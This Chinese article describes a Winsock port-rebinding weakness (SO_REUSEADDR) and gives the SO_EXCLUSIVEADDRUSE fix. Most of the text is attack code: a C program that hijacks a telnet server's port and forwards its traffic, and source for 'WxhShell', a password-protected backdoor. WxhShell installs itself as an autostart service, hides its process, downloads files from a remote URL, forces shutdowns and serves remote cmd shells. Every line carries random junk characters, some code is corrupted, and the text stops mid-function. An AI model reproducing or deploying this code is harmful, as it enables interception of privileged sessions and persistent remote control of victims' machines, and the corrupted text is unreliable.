在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<8;SSdoKi s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@'n075)h *{WhUHZF saddr.sin_family = AF_INET;
"?9rJx$ @cYb37)q= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'kBg3E$y MXQua:&HW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]M3V]m ]q^6az(Ud 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zI-]K,! u7||]|2 这意味着什么?意味着可以进行如下的攻击:
(4]M7b[S$ k-it#'ll{x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.cks){\ vq?Le j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
- t#YL )+GwYt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/=5:@ M02U,!di 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a+mrsyM U80h0t% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ehTrjb3k I<+EXH%1, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Gxh r0' '[WVP=M<XV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E P3Vz8^ '`s+e#rs4{ #include
>U\1*F,Om, #include
XoNBq9Iu #include
k\76`!B #include
bZ0{wpeK= DWORD WINAPI ClientThread(LPVOID lpParam);
X 0vcBHh int main()
!jWE^@P/B {
5Z@0XI WORD wVersionRequested;
?lca#@f( DWORD ret;
\>$3'i=mQ WSADATA wsaData;
LvqWA} BOOL val;
=h\unQ1T SOCKADDR_IN saddr;
[$X^r<|P@ SOCKADDR_IN scaddr;
;rRV=$y int err;
Q}9!aB, SOCKET s;
xyD2<?dGUb SOCKET sc;
^UCH+Cyl int caddsize;
g@2KnzD HANDLE mt;
Cs4ks`Z18 DWORD tid;
Kn=0AdM wVersionRequested = MAKEWORD( 2, 2 );
Xp+lpVcJ err = WSAStartup( wVersionRequested, &wsaData );
,njlKkFw^Z if ( err != 0 ) {
NkV81? printf("error!WSAStartup failed!\n");
72CHyl`|l return -1;
t6uYFxE }
9:E: 3%% saddr.sin_family = AF_INET;
pZcY[a }K^v Ujl //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*Z$W"JP fK^W6)uuV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+
\]-" saddr.sin_port = htons(23);
;}Ei #T,D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.07"I7 {
k!ID printf("error!socket failed!\n");
7YxVtN return -1;
: *XAQb0 }
BRy3D\} val = TRUE;
w4fQ~rcUIc //SO_REUSEADDR选项就是可以实现端口重绑定的
78\j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mW$Oi++'d {
h'HI92; [ printf("error!setsockopt failed!\n");
NB4Q,iq$ return -1;
.{t*v6(TP }
>8ryA$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
t`="2$NO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q6HghG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z($i+L% . \HIBnkj)3n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
twu,yC! {
'A>?aUq]: ret=GetLastError();
Gy[anDE& printf("error!bind failed!\n");
K&n-(m% return -1;
==
E8^jYJw }
suzK)rJ9i listen(s,2);
?=LT
^Zp` while(1)
R[14scV {
`#'j3,\6 caddsize = sizeof(scaddr);
ZH|q#<{l //接受连接请求
c:e3hJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2WDe34 if(sc!=INVALID_SOCKET)
|gWA'O0S {
N,Z*d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t
V(
WhP if(mt==NULL)
.^M#BAt2 {
2*<Zc|uNW printf("Thread Creat Failed!\n");
D+v?zQw break;
sfip AM }
<5D4h! }
\i/HHP[% CloseHandle(mt);
<{k`K[) }
IA<>+NS closesocket(s);
=^GPQ_" WSACleanup();
]\KVA)\ return 0;
SzIzQR93& }
`u}_O(A1pA DWORD WINAPI ClientThread(LPVOID lpParam)
P))BS {
wgIm{;T[u SOCKET ss = (SOCKET)lpParam;
6`7tTn?n SOCKET sc;
?)J/uU2w unsigned char buf[4096];
c+&Kq.~K SOCKADDR_IN saddr;
$K!Jm7O\ long num;
ZT@=d$Z&t DWORD val;
y%ij)vQY DWORD ret;
G"`
}"T0} //如果是隐藏端口应用的话,可以在此处加一些判断
faDS!E' + //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\HbZ~I- saddr.sin_family = AF_INET;
AwXzI;F^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vRH^en saddr.sin_port = htons(23);
*ma
w`1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4VZI]3K, {
;YR/7 printf("error!socket failed!\n");
6FNGyvBU return -1;
kBhjqI* }
zwZvKV/g val = 100;
{h|<qfH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W]#w4Fp! {
-'g>i ret = GetLastError();
uDie205 return -1;
3 nG.ah }
BW7AjtxQ& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O_8 SlW0e {
|dLr #+'az ret = GetLastError();
I{OizBom return -1;
\KnRQtlI }
}ofb]_C, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Vt(Wy {
TL2E|@k1] printf("error!socket connect failed!\n");
#0r~/gW closesocket(sc);
/Ne#{*z)hO closesocket(ss);
}lIc{R@H return -1;
f-enF)z }
3~T ~Bs while(1)
EW*sTI3 {
fr/EkL1Dl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n#g_)\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
-y-}g[` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KE3`5Y! num = recv(ss,buf,4096,0);
`Y:]&w if(num>0)
-}%J3j|R: send(sc,buf,num,0);
s{@R|5 else if(num==0)
9$\s
v5 break;
\1!Q.V num = recv(sc,buf,4096,0);
6p4BsWPx if(num>0)
>8_y-74 send(ss,buf,num,0);
U0_)J1Yp else if(num==0)
d}4NL:=& break;
;[::&qf }
^$: w closesocket(ss);
D{N8q^Cs9 closesocket(sc);
Zu.hcDw1 return 0 ;
d <}'eBT' }
zG#5lzIu, vW=-RTRH %3a-@!|1< ==========================================================
Jj\4P1|' 7 9m
M3Ve* 下边附上一个代码,,WXhSHELL
$\BYN=# `[sFh%: ==========================================================
?gMx }n==^2 #include "stdafx.h"
:cC$1zv@ ==[=Da~ #include <stdio.h>
s$Y>nH~T #include <string.h>
9~Dg<wQ #include <windows.h>
v8ap"9b #include <winsock2.h>
lAU99(GXV #include <winsvc.h>
:/T\E\Qr #include <urlmon.h>
BTkx}KK vN{@c(=g #pragma comment (lib, "Ws2_32.lib")
EbILAJ #pragma comment (lib, "urlmon.lib")
C#U(POA ]lC%HlID #define MAX_USER 100 // 最大客户端连接数
yiZtG#6K{ #define BUF_SOCK 200 // sock buffer
&'z_:W m #define KEY_BUFF 255 // 输入 buffer
2$Mnwxfk |'?vlUCd #define REBOOT 0 // 重启
Wi&v?nm #define SHUTDOWN 1 // 关机
pt<zyH3Z >s^$- #define DEF_PORT 5000 // 监听端口
>1sa*Wf TwkT|Piw
S #define REG_LEN 16 // 注册表键长度
<K [y~9u #define SVC_LEN 80 // NT服务名长度
tY"eoPme LlX)xJ // 从dll定义API
z+"$G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}93kHO{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
AY/.vyS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9[.HWe, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aRMlE*yW ^+m`mc sE // wxhshell配置信息
*?X&Y8Kf struct WSCFG {
huC{SzXM int ws_port; // 监听端口
FHOw ]"# char ws_passstr[REG_LEN]; // 口令
;b {#$#`= int ws_autoins; // 安装标记, 1=yes 0=no
>G5aFk char ws_regname[REG_LEN]; // 注册表键名
eS8(HI6{^ char ws_svcname[REG_LEN]; // 服务名
=d{6=2Pt char ws_svcdisp[SVC_LEN]; // 服务显示名
bB_LL char ws_svcdesc[SVC_LEN]; // 服务描述信息
ws0qwv# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RCR= W6 int ws_downexe; // 下载执行标记, 1=yes 0=no
u} mj)Nk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B(W~]i char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U<j5s\Y, z0}j7ns] };
P)Adb~r kd'b_D[$H // default Wxhshell configuration
kk=n&M struct WSCFG wscfg={DEF_PORT,
# ?2*I2_ "xuhuanlingzhe",
GeR#B;{ 1,
d {!P
c< "Wxhshell",
FSEf0@O: "Wxhshell",
{xTq5`&gT "WxhShell Service",
Nn05me"X "Wrsky Windows CmdShell Service",
$nE{%?n-# "Please Input Your Password: ",
{lds?AuK 1,
9kD#'BxC "
http://www.wrsky.com/wxhshell.exe",
+M=h+3hw]( "Wxhshell.exe"
"|3I|#s };
R{@saa5I(> &ivU4rEG // 消息定义模块
AIHH@z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G+c&e:ip< char *msg_ws_prompt="\n\r? for help\n\r#>";
UPfE\KN+p# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
P'<i3#;7X char *msg_ws_ext="\n\rExit.";
1mmL`M1 char *msg_ws_end="\n\rQuit.";
zb0NqIN: char *msg_ws_boot="\n\rReboot...";
{I{ 0rV char *msg_ws_poff="\n\rShutdown...";
kZ%
AGc char *msg_ws_down="\n\rSave to ";
;dzy5o3 [piK"N char *msg_ws_err="\n\rErr!";
XVs]Y'*x char *msg_ws_ok="\n\rOK!";
JT
7WZc) 31G:[;g char ExeFile[MAX_PATH];
H(^Ehv> int nUser = 0;
,Q"'q0hM= HANDLE handles[MAX_USER];
\n_7+[=E int OsIsNt;
`:C1Wo^< [Hx}#Kds SERVICE_STATUS serviceStatus;
Vl^x_gs#_] SERVICE_STATUS_HANDLE hServiceStatusHandle;
gT8(LDJ Y(,RJ&7 // 函数声明
1|sem(t int Install(void);
&kb~N- int Uninstall(void);
g(&cq int DownloadFile(char *sURL, SOCKET wsh);
*B&P[n int Boot(int flag);
vC,FE
)' void HideProc(void);
?i<l7 int GetOsVer(void);
od!44p] int Wxhshell(SOCKET wsl);
hrniZ^ void TalkWithClient(void *cs);
!{l% 3'2 int CmdShell(SOCKET sock);
J^"_H:1[ int StartFromService(void);
I!/EQO| int StartWxhshell(LPSTR lpCmdLine);
=o(}=T>:" G!FdTvx$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
le5@WG/x VOID WINAPI NTServiceHandler( DWORD fdwControl );
Sj ovL@X 8$-MUF, // 数据结构和表定义
$PMr)U SERVICE_TABLE_ENTRY DispatchTable[] =
8J,^O04< {
a@? $#> {wscfg.ws_svcname, NTServiceMain},
:Ou~?q%X {NULL, NULL}
Gm-
"?4( };
~;(\a@ _ `6rLd>=R // 自我安装
}6l:'nW int Install(void)
HP*)^`6X
{
\B')2phE char svExeFile[MAX_PATH];
i<S\x HKEY key;
Dml?.-Uv< strcpy(svExeFile,ExeFile);
/,:cbpHsu \WE/#To // 如果是win9x系统,修改注册表设为自启动
m&A bH&; if(!OsIsNt) {
$idToOkw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-F`gRAr- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U$D:gZ RegCloseKey(key);
k8E2?kbF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2\{/|\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7'+`vt#E RegCloseKey(key);
qo9&e~Y<G return 0;
gB#!g@ }
23LG)or.JC }
70avr)OM }
#NT~GhWFf else {
6 w!qZ4$ C^C'! // 如果是NT以上系统,安装为系统服务
tDAX
pi( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o< b if (schSCManager!=0)
KUW )F {
`mkOjsj & SC_HANDLE schService = CreateService
>o"s1*
{ (
}Bh\N5G% schSCManager,
L^^f.w#m wscfg.ws_svcname,
:SFf} wscfg.ws_svcdisp,
|x.[*'X@ SERVICE_ALL_ACCESS,
aQhT*OT{Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tklS=R^Vn SERVICE_AUTO_START,
!6.LSY,E SERVICE_ERROR_NORMAL,
SFWS<H(IN svExeFile,
7<jr0) NULL,
3 }
$9./+ NULL,
#)D$\0ag NULL,
D{]w+ NULL,
a&)$s; NULL
fNr*\=$ );
,vi6<C\ if (schService!=0)
OwC{ Ad{ {
'&/Y}] CloseServiceHandle(schService);
9MRe? CloseServiceHandle(schSCManager);
#!z'R20PH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5k_%%><: q strcat(svExeFile,wscfg.ws_svcname);
i+-Y"vRi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ORo +]9)Yv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y0'~u+KS`5 RegCloseKey(key);
0} \;R5a< return 0;
mX
SLH' }
^sZHy4-yK# }
(>D{"} CloseServiceHandle(schSCManager);
Se/]J<] }
.dBW{|gN }
\LS s@\$
g 9LEUj return 1;
Re\V<\$J }
%]DJ-7 xE am
WIA`n= // 自我卸载
x JzO?a' int Uninstall(void)
!ImtnU} {
4s&koH(x HKEY key;
a67NWH D/zp_9B if(!OsIsNt) {
bU(fH^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9/GC8*+ RegDeleteValue(key,wscfg.ws_regname);
1lUY27MF RegCloseKey(key);
zQ eXN7$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F[|aDj@q e RegDeleteValue(key,wscfg.ws_regname);
8>^O]5Wo`X RegCloseKey(key);
2ap0/l[ return 0;
_EZrZB }
'r`-J4icX }
cbA90 8@s }
W[W}:@KZ else {
xqzdXL} mm<rdo(` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?To r)>A' if (schSCManager!=0)
~4tu*\P {
B1gBvss SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
RIl+QA if (schService!=0)
A0Hs d {
G&*2h2,] if(DeleteService(schService)!=0) {
)![?JXf CloseServiceHandle(schService);
('p~h-9Vi CloseServiceHandle(schSCManager);
m]U`7! return 0;
ny~~xQ" }
n.xW"omN CloseServiceHandle(schService);
?g'? Ou }
*e05{C:kS CloseServiceHandle(schSCManager);
Yf(QU`w_ }
Go_~8w0< }
)Wm:Ilq 1vBXO bk return 1;
pEE.%U }
F4Gv=q)Z '`Z5.<n7p // 从指定url下载文件
{o[*S%Z" int DownloadFile(char *sURL, SOCKET wsh)
D@>^_cTO24 {
rt\4We,7 HRESULT hr;
h=~TgTv char seps[]= "/";
{)0"?$C_H char *token;
RI_3X5.KQ char *file;
ebS>_jD char myURL[MAX_PATH];
wGf SVA-q\ char myFILE[MAX_PATH];
beYaQz/@W Hh8)d/D strcpy(myURL,sURL);
~O}LAzGb token=strtok(myURL,seps);
C_=WL( while(token!=NULL)
/uzU]3KF~ {
V}kZowWD file=token;
G? "6[w/p token=strtok(NULL,seps);
0xM\+R~, }
0"L_0 t: 50.cMms GetCurrentDirectory(MAX_PATH,myFILE);
y++[:M strcat(myFILE, "\\");
auTApYS53 strcat(myFILE, file);
\Z^YaKj& send(wsh,myFILE,strlen(myFILE),0);
Q_F8u!qrZ send(wsh,"...",3,0);
V4PD]5ZW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Xo>P?^c4? if(hr==S_OK)
#yv_Eb02 return 0;
tPHDnh^n] else
KZw"?%H[
return 1;
f6ad@2 >8nRP%r[5, }
d-=/@N!4e x%JtI'sg // 系统电源模块
G~I@'[ur int Boot(int flag)
IgOo2N"^l {
h+!Ld^'c HANDLE hToken;
:YU_ \EV TOKEN_PRIVILEGES tkp;
Xj&fWuA --S2lN/:T if(OsIsNt) {
z5v)~+"1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7N/v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m]$!wp tkp.PrivilegeCount = 1;
T^ ^o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~g+?]Lk} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wYJ. F if(flag==REBOOT) {
lmZSsx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Wej 8YF@ return 0;
T,,,+gPx }
gD0 FRKn else {
x-km)2x=W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;aip1Df return 0;
kckWBL }
MkG3TODfHB }
X9#;quco@ else {
AAE8j. if(flag==REBOOT) {
Tt.wY=,K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~1Q$FgLk return 0;
A7|!&fi }
p*8LS7UT else {
`k/hC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
YT6<1-E# return 0;
%SL'X`j }
:e5)Q=lX }
#=@(
m.k:s C&b^TLe return 1;
ika/ GG }
ON|Bpt2Qp ,mR$YT8 // win9x进程隐藏模块
o })k@-oL void HideProc(void)
NuKktQd {
z!quA7s<] :[oFe/1K!4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s88lN=;
if ( hKernel != NULL )
UW*[)y w] {
_6"!y
]Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0!YB.=\{_q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_4VF>#b FreeLibrary(hKernel);
G/Nb@pAy[ }
+(*S@V$c ;#G)([ return;
A>8uLO G} }
.olDmFQD TOp|Qtn // 获取操作系统版本
2XubM+6 int GetOsVer(void)
x,a(O@ {
h\ema| OSVERSIONINFO winfo;
5"=qVmT) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z> jk\[ GetVersionEx(&winfo);
y-qbK0=X4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8|uFW7Q return 1;
^T83E} else
?'_E$ return 0;
3>Ts7
wM }
D/C)Rrq"a hiWfVz{~ // 客户端句柄模块
:<l(l\MC int Wxhshell(SOCKET wsl)
]p/f@j?LU {
(5y+g?9d; SOCKET wsh;
-NW7ncB| struct sockaddr_in client;
Sdl1k+u DWORD myID;
u6{=Z : ,*SoV~ while(nUser<MAX_USER)
[hE0 9W {
j]\3>. int nSize=sizeof(client);
Z?yMy zT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
v`ckvl)(C if(wsh==INVALID_SOCKET) return 1;
b13XHR)0 &L[7jA'[J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1'wwwxe7 if(handles[nUser]==0)
rcUXYJCh- closesocket(wsh);
5(0f"zY else
(he cvJ nUser++;
7/nnl0u8 }
$Cw>
z^}u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!e?g"5r{Bv dGf:0xE" return 0;
x#ub % t }
iq_y80g`8h JX%B_eUlAs // 关闭 socket
,;LxFS5\ void CloseIt(SOCKET wsh)
t .*z)N {
x9Veg4Z7 closesocket(wsh);
/g}2QmvH nUser--;
C'mYR3?m; ExitThread(0);
5}d"nx }
gPs%v`y)*D Enu/Nj 2 // 客户端请求句柄
#p@8m_g void TalkWithClient(void *cs)
`NqX{26GV+ {
dHp(U
:) o";5@NH SOCKET wsh=(SOCKET)cs;
xxWrSl`fB char pwd[SVC_LEN];
/XtpGk_1) char cmd[KEY_BUFF];
%a-*Ku char chr[1];
f;1DhAS int i,j;
=SJwCT0; QJ2V&t"3 while (nUser < MAX_USER) {
j{00iA} 4FK|y&p4r if(wscfg.ws_passstr) {
7?Vo([8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Vsh7>|@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s ~'><ioh //ZeroMemory(pwd,KEY_BUFF);
H'N$Vv2q i=0;
6[g~p< 8n} while(i<SVC_LEN) {
sHC4iMIw P70\ |M0~y // 设置超时
DA'A-C2 fd_set FdRead;
f>$Ld1 struct timeval TimeOut;
;Ml??B]C FD_ZERO(&FdRead);
M{ # FD_SET(wsh,&FdRead);
LgN\%5f- TimeOut.tv_sec=8;
{k.Dy92 TimeOut.tv_usec=0;
L'XX++2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1T(:bM_t`7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Wez"E2J` ?M'_L']N[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^+Ho#] pwd
=chr[0]; W\xM$#)m
if(chr[0]==0xd || chr[0]==0xa) { 9Yih%d,
pwd=0; @* a'B=7
break; TG ,T>'
} d4@\5<
i++; E[N5vG<
} f( (p\&y
8SmtEV[b3
// 如果是非法用户,关闭 socket HF@K$RPK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hZ_0lX}
} ?U~}uG^
a o_A%?Ld
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lLD-QO}/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nNe`?TS?f
B{IYVviiP
while(1) { 4Y>v+N^
jA ?tDAx`
ZeroMemory(cmd,KEY_BUFF); Fa]fSqy@;
'M"JF;*r
// 自动支持客户端 telnet标准 pyPS5vWG
j=0; Of|e]GR
while(j<KEY_BUFF) { = ~{n-rMF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sb_T _m
cmd[j]=chr[0]; nv WTx4oy
if(chr[0]==0xa || chr[0]==0xd) { v/% q*6@
cmd[j]=0; V,>_L
break; 0:K4,
} Y XC?q
j++; 2?; =TJo$
} HA}pr6Z
)*&I|L<1
// 下载文件 #@h3#IC
if(strstr(cmd,"http://")) { (GnwK1f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,BuN]9#
if(DownloadFile(cmd,wsh)) -!]Ie4"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QW~-+BD
else *ml&}9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J7.}2
} *h ~Y=#`8*
else { VKa-
,,+ ~./)
switch(cmd[0]) { .\*3t/R=X
z!09vDB^
// 帮助 '8g/^Y@
case '?': { k:(i sKIA
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B Z:H$v
break; @&f3zq
} "z+Z8l1.
// 安装 Ve<3XRq|8
case 'i': { -BWkPq!
if(Install()) !A>VzW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^_E7k<ag
else [oOA@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #A|~s;s>N
break; .hh2II
} )3i}(h0
// 卸载 I0\}S [+H
case 'r': { -"L)<J@gQ?
if(Uninstall()) D7Y5q*F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&'Y e[k
else QC:/xP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Yv<TzJ9
break; Nkfu k
} 1k@k2rE
// 显示 wxhshell 所在路径 =2%EIZ0oW
case 'p': { \!8`kC
char svExeFile[MAX_PATH]; .ON+ (
#n
strcpy(svExeFile,"\n\r"); a7G0
strcat(svExeFile,ExeFile); gIA{6,A
send(wsh,svExeFile,strlen(svExeFile),0); c"+N{$ vp
break; jjgY4<n
} #UREFwSL
// 重启 *!De(lhEc
case 'b': { x/$s:[0B#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _`!@
if(Boot(REBOOT)) Y=3:Q%X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4FL<6
else { &k3'UN!&Ix
closesocket(wsh); k
fx<T
ExitThread(0); p9<OXeY
} LX<c(i
break; g{8R+
} XezO_V
// 关机 g0.D36
case 'd': { YBgHX [q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s(7'*`G"h
if(Boot(SHUTDOWN)) Fz+0 h"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;K?fAspSH
else { Fi{~UOZg
closesocket(wsh); 0|X!Uw-Q%_
ExitThread(0); 2tvMa%1^
} z`uqK!v(K
break; t#|E.G:=
} ]?F05!$ *
// 获取shell 9E_C
u2B
case 's': { 3uwZ#
CmdShell(wsh); $ 1(u.Ud
closesocket(wsh); V|NWJ7
ExitThread(0); JbYv <
break; [|{yr
} d"78w-S
// 退出 Co8b0-Z
case 'x': { 5| 2B@6-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zY8"\ZB
CloseIt(wsh); ~MY7Ic%
break; -"5x? \.{m
} o}5:vi]
// 离开 Yfy6o6*:
case 'q': { 8xmw-s)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #&">x7?5
closesocket(wsh); yz-IZt(
WSACleanup(); sZ-]yr\E"
exit(1); =S@$"_&
break; a<Pi J?
} |bDN~c:/
} UQ>GAzh
} <W,k$|w
w;Qo9=-
// 提示信息 L}A R{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q9qmz[
} fRT:@lV
} ) iy>sa{
tZ[BfO
return; [p@NzS/
} 5h[u2&;G
p)tac*US
// shell模块句柄 QN-n9f8
int CmdShell(SOCKET sock) CzzG
{ :LVM'c62c>
STARTUPINFO si; &+`l
$h
ZeroMemory(&si,sizeof(si)); oO @6c %
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'KQ]7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W<2%J)N<
PROCESS_INFORMATION ProcessInfo; uYL6g:]+ZC
char cmdline[]="cmd"; )F? 57eh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P0Na<)\'Y!
return 0; !N,Z3p>Q
} `ea$`2
wRPBJ-C)
// 自身启动模式 UF<|1;'
int StartFromService(void) *ILS/`mdav
{ q30WUO;
typedef struct YH<F~F _
{ C?rL>_+71
DWORD ExitStatus; CpS'2@6
DWORD PebBaseAddress; Beqhe\{
DWORD AffinityMask; mkBQX
DWORD BasePriority; QC <(rx
ULONG UniqueProcessId; h9+ylHW_cp
